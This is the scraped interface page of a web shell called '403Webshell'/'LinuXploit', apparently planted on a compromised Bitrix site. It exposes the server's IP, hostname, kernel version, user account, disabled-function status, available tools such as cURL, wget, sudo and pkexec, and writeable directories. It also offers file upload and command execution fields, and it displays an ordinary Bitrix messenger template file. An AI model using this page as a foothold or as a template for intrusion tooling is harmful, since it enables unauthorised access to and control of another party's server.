403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/im.router/templates/air/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/im.router/templates/air/template.php
<?php

use Bitrix\Main\Web\Json;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

CModule::IncludeModule('voximplant');

/** @var \CMain $APPLICATION */

\Bitrix\Main\UI\Extension::load([
	'ui.design-tokens',
	'im.v2.application.messenger',
	'im.v2.application.launch'
]);

\Bitrix\UI\Toolbar\Facade\Toolbar::disable();

$bodyClass = $APPLICATION->getPageProperty('BodyClass');
$APPLICATION->setPageProperty(
	'BodyClass',
	($bodyClass ? $bodyClass . ' ' : '') . 'no-all-paddings no-background no-page-header no-footer-endless'
);

$application = \Bitrix\Im\V2\Service\Locator::getMessenger()->getApplication();
$config = Json::encode($application->getConfig());
?>
<div id="messenger-embedded-application"></div>
<script>
	BX.Messenger.v2.Application.Launch('messenger', <?=$config?>)
		.then(application => {
			application.initComponent('#messenger-embedded-application');
		})
	;
</script>

<?php
$this->setViewTarget("above_pagetitle", 100);

$APPLICATION->includeComponent(
	'bitrix:main.interface.buttons',
	'',
	[
		'ID' => 'chat-menu',
		'ITEMS' => \Bitrix\Intranet\Integration\Templates\Air\ChatMenu::getMenuItems(),
		'THEME' => 'air',
	]
);

$this->endViewTarget();

Youez - 2016 - github.com/yon3zu
LinuXploit